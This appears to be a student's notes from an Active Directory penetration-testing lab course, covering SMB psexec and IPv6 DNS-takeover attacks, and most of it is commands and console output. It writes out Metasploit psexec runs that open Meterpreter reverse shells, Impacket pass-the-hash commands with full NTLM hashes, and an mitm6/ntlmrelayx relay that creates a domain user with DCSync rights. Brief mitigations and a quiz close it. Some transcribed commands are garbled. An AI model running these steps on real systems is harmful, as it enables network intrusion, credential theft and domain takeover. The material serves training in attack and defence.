msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.157:445 - Connecting to the server...
[*] 192.168.163.157:445 - Authenticating to 192.168.163.157:445 as user 'Administrator' ...
[*] 192.168.163.157:445 - Selecting PowerShell target
[*] 192.168.163.157:445 - Executing the payload...
[*] 192.168.163.157:445 - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.163.157:445 - Sending stage (200774 bytes) to 192.168.163.157
[*] Meterpreter session 2 opened (192.168.163.133:4444 → 192.168.163.157:52215) at 2024-10-04 22:58:44 -0400

meterpreter > cd ../../..
meterpreter > dir
Listing: C:\

Mode          Size  Type  Last modified      Name
040777/rwxrwxrwx 4096  dir   2024-09-29 16:04:18 -0400  $Recycle.Bin
040777/rwxrwxrwx 0    dir   2024-09-29 13:09:08 -0400  $WinREAgent

```

It also worked with the hash.

```

msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name      Current Setting
RHOSTS    192.168.163.157
RPORT     445
SERVICE_DESCRIPTION          BoilerCTF   TCM-Active...
SERVICE_DISPLAY_NAME
SERVICE_NAME
SMBDomain
SMBPass   aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f
SMBSHARE
SMBUser   Administrator
192.168.163.157  codeShellC:\bookStoreX\

Payload options (windows/x64/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST    192.168.163.133  yes       The listen address (an interface may be specified)
LPORT    4444               yes       The listen port

Exploit target:
Id  Name
--  --
0  Automatic  passwd.txt  capstoneVu...

View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.157:445 - Connecting to the server...
[*] 192.168.163.157:445 - Authenticating to 192.168.163.157:445 as user 'Administrator' ...
[*] 192.168.163.157:445 - Selecting PowerShell target
[*] 192.168.163.157:445 - Executing the payload...
[*] 192.168.163.157:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (200774 bytes) to 192.168.163.157
[*] Meterpreter session 3 opened (192.168.163.133:4444 → 192.168.163.157:52225) at 2024-10-04 23:01:17 -0400
meterpreter > 

```

```

msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name      Current Setting
RHOSTS    192.168.163.158
RPORT     445
SERVICE_DESCRIPTION          BoilerCTF   TCM-Active...
SERVICE_DISPLAY_NAME
SERVICE_NAME
SMBDomain
SMBPass   aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f
SMBSHARE
SMBUser   Administrator
192.168.163.158  codeShellC:\bookStoreX\

Payload options (windows/x64/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST    192.168.163.133  yes       The listen address (an interface may be specified)
LPORT    4444               yes       The listen port

Exploit target:
Id  Name
--  --
0  Automatic  passwd.txt  capstoneVu...

View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server...
[*] 192.168.163.158:445 - Authenticating to 192.168.163.158:445 as user 'Administrator' ...
[*] 192.168.163.158:445 - Selecting PowerShell target
[*] 192.168.163.158:445 - Executing the payload...
[*] 192.168.163.158:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (200774 bytes) to 192.168.163.158
[*] Meterpreter session 4 opened (192.168.163.133:4444 → 192.168.163.158:50438) at 2024-10-04 23:11:15 -0400
meterpreter > 

```

It worked in both Clients with the built-in Administrator account. But, it did not work with Frank or Nami.

This last part is going to be focused on doing the exploitation without the use of Metasploit:

There are a couple options in here, we can use:

```
"#psexec.py ONEPIECE/ZRoronoa:'Password1'@192.168.163.158"
```

```

└$ psexec.py ONEPIECE/ZRoronoa:'Password2'@192.168.163.158
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 192.168.163.158.....
[*] Found writable share ADMIN$  

[*] Uploading file CwRGEBqZ.exe  

[*] Opening SVCManager on 192.168.163.158.....
[*] Creating service SXVo on 192.168.163.158.....
[*] Starting service SXVo.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19045.4894]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd .. / ..

C:\>dir
Volume in drive C has no label.
Volume Serial Number is 38E3-4EB3

Directory of C:\

12/07/2019 02:14 AM <DIR> PerfLogs
10/03/2024 09:00 PM <DIR> Program Files
09/07/2022 08:16 PM <DIR> Program Files (x86)
09/29/2024 01:30 PM <DIR> Users
10/06/2024 12:59 PM <DIR> Windows
09/30/2024 07:09 PM <DIR> Windows.old
          0 File(s)    0 bytes
          6 Dir(s) 32,156,536,832 bytes free

users.txt snadw.txt exploitvuln...
C:\>cd Users

C:\Users>dir
Volume in drive C has no label.
Volume Serial Number is 38E3-4EB3

Directory of C:\Users

09/29/2024 01:30 PM <DIR> .
09/29/2024 01:30 PM <DIR> ..
09/29/2024 10:47 AM <DIR> administrator
09/29/2024 01:31 PM <DIR> Administrator.THEROBOT
09/28/2024 07:50 PM <DIR> frank
09/27/2024 08:37 PM <DIR> Public
09/29/2024 01:02 PM <DIR> ZRoronoa
          0 File(s)    0 bytes
          7 Dir(s) 32,156,536,832 bytes free

C:\Users>whoami
nt authority\system
C:\Users>

```

If we have a weird password, we can issue command without the password. It will prompt to input the password by itself (Linux Style).

After making the successfully getting a reverse shell, Windows Defender warns us about the threat, and prompts us to do something about it.

```

└(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab/GainingAccess]
$ psexec.py ONEPIECE/ZRoronoa:@192.168.163.158
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

Password:
[*] Requesting shares on 192.168.163.158.....
[*] Found writable share ADMIN$  

[*] Uploading file IanMCKbH.exe  

[*] Opening SVCManager on 192.168.163.158.....
[*] Creating service tDEZ on 192.168.163.158.....
[*] Starting service tDEZ.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19045.4894]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

```

We can also use hashes here, and local Administrator accounts (Do not forget we are using the whole NTLM hash):



```
(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab/GainingAccess]
$ psexec.py administrator@192.168.163.157 -hashes aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 192.168.163.157.....
[*] Found writable share ADMIN$
[*] Uploading file cVyQ0eFs.exe
[*] Opening SVCManager on 192.168.163.157.....
[*] Creating service Rrno on 192.168.163.157.....
[*] Starting service Rrno.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19045.2006]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\SYSTEM
C:\Windows\system32>
```

If **psexec** is not working, or if it is being blocked by antivirus, we can also use:

```
"#wmiexec.py administrator@192.168.163.157 -hashes
aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f"
```

or

```
"#smbexec.py administrator@192.168.163.157 -hashes
aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f"
```

but, these wont work on our environment.

90.09 - IPv6 Attacks

This is going to be mainly DNS Take Over.

This is much more reliable attack, than the other Relay attacks we learnt so far.

As we are typically running IPv4, it is possible that IPv6 is not being, but it is turned on. And, if that is the case, and we are using only IPv4, the question is "Who is doing DNS for IPv6?". If nobody is doing DNS for IPv6, we can spin a fake DNS Server, and listen to all the IPv6 data that comes through, and tell the IP Addresses intercepted we are DNS, so they can send all their IPv6 traffic data to our fake DNS Server, so we can pass that along. The issue is that when this happen, we can get authentication to the Domain Controller via LDAP or SMB.

On the example, when we reboot the machine, that creates an event. The event comes through to us, and we can use that machine to login to the Domain Controller. It is not required to be an Administrator login or anything, and we can gather a lot of information that way. We can potentially use that machine to create another machine, and we can wait for someone to login into the network, and that will come to us in NTLM format, and we relay the NTLM credentials, and log in the DC, and creates an account for us. This tool that is going to do all this for us is called MITM6 (Man In THe Middle 6). We are going to combine it with "#ntlmrelayx.py", and it is going to relay into LDAP. It is going to create the account to us and everything.

90.10 - IPv6 DNS Takeover via mitm6

Man In The Middle 6 is the tool we are going to be using.

The command is "#mitm6". It should be installed after running "#pimpmykali".

We are going to type:

```
"#sudo mitm6 -d onepiece.local"
```

Do not hit enter just yet.

New Tab > We need to start the relay server, and point it to the Domain Controller IP Address. Run :

```
"#ntlmrelayx.py -6 -t ldaps://192.168.163.156 -wh fakewpad.onepiece.local -l treasureChest
```

-6 is for IPv6

-t is for Target (DC)

-wh this is for the wpad fake server.

-l for loot

last variable is the folder name that is going to be created containing the "loot".

Issue this command.

Then, go back to the previous command, and run it.

While it is running. We need an event to occur. Here, a machine rebooting, or someone login in to a device counts as an event.

We can only run this in small sprints. Somewhere from 5 to 10 minutes at a time.

We are going to reboot THEROBOT machine for the event to happen, after login and signing out of ZRoronoa account.

```
[*] kali㉿kali: ~/Desktop/TCH-ActiveDirectory-Lab/IPv6-Attack
$ ./ntlmrelayx.py -e -t l dap://192.168.163.156 wfm Fakewpad.onepiece.local -l treasureChest
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Protocol Client SMB loaded..
[*] Protocol Client SMBW loaded..
[*] Protocol Client LDAP loaded.. [!] Python 2 support for the Cryptography library has been removed. This module will now use the Python 3 version of the library. If you are using Python 2, please upgrade to Python 3.
[*] Protocol Client LDAP over LDAPS loaded.. [!] Python 2 support for the Cryptography library has been removed. This module will now use the Python 3 version of the library. If you are using Python 2, please upgrade to Python 3.
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPSPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server

[*] Servers started, waiting for connections
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.156
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Serving FWPAC file to client ::ffff:192.168.163.158
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.156
[*] HTTPD: Client requested path: http://ppvs.msftconnecttest.com/connecttest.txt
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.156
[*] HTTPD: Client requested path: http://www.msftconnecttest.com/connecttest.txt
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.156
[*] HTTPD: Client requested path: http://www.msftconnecttest.com/connecttest.txt
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.156
[*] HTTPD: Client requested path: /;http://192.168.163.156;ONEPIECE/THEROBOT$ SUCEED
[*] Authenticating against: ldaps://192.168.163.156 ONEPIECE/THEROBOT$ SUCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Authenticating against: ldaps://192.168.163.156 as ONEPIECE/THEROBOT$ SUCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Dumping domain info for first time
[*] Domain info dumped into lootdir
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.156
[*] HTTPD: Client requested path: mobile.events.data.microsoft.com:443
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.156
[*] HTTPD: Client requested path: go.microsoft.com:443
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.156
[*] HTTPD: Client requested path: go.microsoft.com:443
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.156
[*] HTTPD: Client requested path: go.microsoft.com:443
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.156
[*] HTTPD: Client requested path: go.microsoft.com:443
```

Valuable information is going to be in the treasureChest folder.

Then, you should see the information retrieved from the reboot event.

After that, we need to login with an DC Administrator account. We can use ONEPIECE\Administrator and the password "P@\$\$w0rd!" . It should also work with USogeking, since it is an DC Administrator account. The user is created after the login event.

The account that was created for us (after using domain administrator account):

Active Directory Users and Computers

File Action View Help

Active Directory Users and Com
Saved Queries
ONEPIECE.local
Builtin
Computers
Domain Controllers
ForeignSecurityPrincipal
Groups
Managed Service Account
Users

Name	Type	Description
Administrator	User	Built-in account for ad...
gDKjEqGfSI	User	
Guest	User	Built-in account for gue...
Luffy Monkey	User	
SQL Service	User	The password is Mypass...
Usopp Soge...	User	
Zoro Roronoa	User	

The mitm6 output:

```
(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab/IPv6-Attack]
$ sudo mitm6 -d onepiece.local
/usr/local/lib/python3.11/dist-packages/scapy/layers/ipsec.py:471: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release
cipher=algorithms.Blowfish,
/usr/local/lib/python3.11/dist-packages/scapy/layers/ipsec.py:485: CryptographyDeprecationWarning: CAST5 has been deprecated and will be removed in a future release
cipher=algorithms.CAST5,
Starting mitm6 using the following configuration:
Primary adapter: eth0 [00:0c:29:b8:6e:5b]
IPv4 address: 192.168.163.133
IPv6 address: fe80::675c:ab07:b917:5749
DNS local search domain: onepiece.local
DNS allowlist: onepiece.local
IPv6 address fe80::575:1 is now assigned to mac=00:0c:29:70:8f:1a host=THEROBOT.ONEPIECE.local. ipv4=
IPv6 address fe80::575:2 is now assigned to mac=00:0c:29:70:8f:1a host=THEROBOT.ONEPIECE.local. ipv4=
Sent spoofed reply for wpad.ONEPIECE.local. to fe80::575:2
Sent spoofed reply for wpad.onepiece.local. to fe80::575:2
Sent spoofed reply for fakewpad.onepiece.local. to fe80::575:2
Sent spoofed reply for fakewpad.onepiece.local. to fe80::575:2
Sent spoofed reply for fakewpad.onepiece.local. to fe80::575:2
Renew reply sent to fe80::575:2
Renew reply sent to fe80::575:2
Sent spoofed reply for fakewpad.onepiece.local. to fe80::575:2
Sent spoofed reply for fakewpad.onepiece.local. to fe80::575:2
Renew reply sent to fe80::575:2
Sent spoofed reply for fakewpad.onepiece.local. to fe80::575:2
Renew reply sent to fe80::575:2
```
Shutting down packet capture after next packet ...
```

NTLMRelayx output (important parts):

```
[kali㉿kali] [-/Desktop/TCM-ActiveDirectory-Lab/IPv6-Attack]
$./ntlmrelay.py -d -t ldaps://192.168.163.156 -m fakepad.mnopiece.local -l treasureChest
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client LDAP loaded.. (CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.)
[*] Protocol Client MSSQL loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client POP3S loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server

(*) Servers started, waiting for connections
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.156
[*] HTTPD: Client requested path: /wpad.dat
[*] HTTPD: Serving PAC file to client ::ffff:192.168.163.158
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.156
[*] HTTPD: Client requested path: https://ipv6.msftconnecttest.com/connecttest.txt
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.156
[*] HTTPD: Client requested path: http://www.msftconnecttest.com/connecttest.txt
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.156
[*] HTTPD: Client requested path: https://www.msftconnecttest.com/connecttest.txt
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.156
[*] HTTPD: Client requested path: http://ipn.msftconnecttest.com/connecttest.txt
[*] HTTPD: Client requested path: https://ipn.msftconnecttest.com/connecttest.txt
[*] HTTPD: Client requested path: http://ipv6.msftconnecttest.com/connecttest.txt
[*] HTTPD: Client requested path: https://192.168.163.156 as ONEPIECE\THEROBOTS SUCCED
[*] Authenticating against ldaps://192.168.163.156 as ONEPIECE\THEROBOTS SUCCED
[*] Enumerating domain user's privileges. This may take a while on large domains
[*] Authenticating against ldaps://192.168.163.156 as ONEPIECE\THEROBOTS SUCCED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Dumping domain info for first timer
[*] Domain info dumped into lootdir!
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.156
[*] HTTPD: Client requested path: mdcleventsdata.microsoft.com:443
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.156
[*] HTTPD: Client requested path: go.microsoft.com:443
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.156
[*] HTTPD: Client requested path: go.microsoft.com:443
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.156
[*] HTTPD: Client requested path: go.microsoft.com:443
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.156
[*] HTTPD: Client requested path: go.microsoft.com:443
```

```
[+] Exception in HTTP request handler: 'NoneType' object has no attribute 'sendAuth'
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.158
[*] HTTPD: Client requested path: login.live.com:443
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.158
[*] HTTPD: Client requested path: login.live.com:443
[*] HTTPD: Client requested path: login.live.com:443
[*] HTTPD: Client requested path: login.live.com:443
[*] Authenticating against ldaps://192.168.163.156 as ONEPIECE\Administrator SUCCEEDED
[*] Enumerating relayed user's privileges. This may take a while on large domains
```

```
ACE
AceType: {0}
AceFlags: {0}
AceSize: {36}
AceLen: {32}
Ace:{

 Mask:{
 Mask: {983551}
 }

 Sid:{
 Revision: {1}
 SubAuthorityCount: {5}

 IdentifierAuthority:{
 Value: {'\x00\x00\x00\x00\x00\x05'}
 }
 }

 SubLen: {20}
 SubAuthority: {'\x15\x00\x00\x00\xbeyFp\xc5\xec\tGb$\x0b\xbe\x00\x02\x00\x00'}
}
TypeName: {'ACCESS_ALLOWED_ACE'}
```

---

```
ACE
AceType: {0}
AceFlags: {18}
AceSize: {36}
AceLen: {32}
Ace:{

 Mask:{
 Mask: {983551}
 }
```

User created:

```
TypeName: {'ACCESS_ALLOWED_ACE'}
[*] User privileges found: Create user
[*] User privileges found: Adding user to a privileged group (Enterprise Admins)
[*] User privileges found: Modifying domain ACL
[*] Attempting to create user in: CN=Users,DC=ONEPIECE,DC=local
[*] Adding new user with username: gDKjEqGfSI and password: ENI;MltHorW@lh2 result: OK
[*] Querying domain security descriptor
[*] Success! User gDKjEqGfSI now has Replication-Get-Changes-All privileges on the domain
[*] Try using DCSync with secretsdump.py and this user :)
[*] Saved restore state to aclpwn-20241006-183207.restore
[*] HTTPD: Received connection from ::ffff:192.168.163.158, attacking target ldaps://192.168.163.156
```

```
TypeName: {'ACCESS_ALLOWED_ACE'}
[*] User privileges found: Create user
[*] User privileges found: Adding user to a privileged group (Enterprise Admins)
[*] User privileges found: Modifying domain ACL
[*] Attempting to create user in: CN=Users,DC=ONEPIECE,DC=local
[*] Adding new user with username: gDkjEqGfSI and password: ENI;MlthOrW@lh2 result: OK
[*] Querying domain security descriptor
[*] Success! User gDkjEqGfSI now has Replication-Get-Changes-All privileges on the domain
[*] Try using DCSync with secretsdump.py and this user :) 
[*] Saved restore state to aclpwn-20241006-183207.restore
```

This is yet to come. Secretsdump.py and the user created for us.

# 90.11 - IPv6 Attack Mitigations/Defenses



## Mitigation Strategies:

1. IPv6 poisoning abuses the fact that Windows queries for an IPv6 address even in IPv4-only environments. If you do not use IPv6 internally, the safest way to prevent mitm6 is to block DHCPv6 traffic and incoming router advertisements in Windows Firewall via Group Policy. Disabling IPv6 entirely may have unwanted side effects. Setting the following predefined rules to Block instead of Allow prevents the attack from working:
  - (Inbound) Core Networking - Dynamic Host Configuration Protocol for IPv6(DHCPV6-In)
  - (Inbound) Core Networking - Router Advertisement (ICMPv6-In)
  - (Outbound) Core Networking - Dynamic Host Configuration Protocol for IPv6(DHCPV6- Out)
2. If WPAD is not in use internally, disable it via Group Policy and by disabling the WinHttpAutoProxySvc service.
3. Relaying to LDAP and LDAPS can only be mitigated by enabling both LDAP signing and LDAP channel binding.
4. Consider Administrative users to the Protected Users group or marking them as Account is sensitive and cannot be delegated, which will prevent any impersonation of that user via delegation.

## IPv6 Attacks

### Mitigation

## 90.12 - Passback Attacks

---

Good source: <https://www.mindpointgroup.com/blog/how-to-hack-through-a-pass-back-attack/>

This attacks goes back to printers and IOTs devices.

The resource above guides us through how to exploit printers/IOTs services. In among them, LDAP and SMB. The set up of these services could be done with either an administrator account, or with low level users. Depending on how the network is set up, it could be a honey pot, but to say the least, it will give us an initial access to some account if we can exploit it.

# 90.13 - Initial Internal Attack Strategy



## INITIAL INTERNAL ATTACK STRATEGY

- ✓ Begin day with mitm6 or Responder
- ✓ Run scans to generate traffic
- ✓ If scans are taking too long, look for websites in scope (http\_version)
- ✓ Look for default credentials on web logins
  - Printers
  - Jenkins
  - Etc
- ✓ Think outside the box



# 90.14 - Quiz

---

1 / 4

What will we receive when carrying out a successful LLMNR attack?

Shell to the target

Shell to the Domain Controller

correct

User hash



List of service accounts

**Continue ›**

---

2 / 4

When is the best time to run Responder?

correct

Early in the morning before users login



Late at night after all users have gone home

**« Back**

**Continue ›**

What tools can be used to check if SMB signing is disabled on a target? (multiple choice)

correct

Nessus



correct

Nmap



Nikto

« Back

Continue »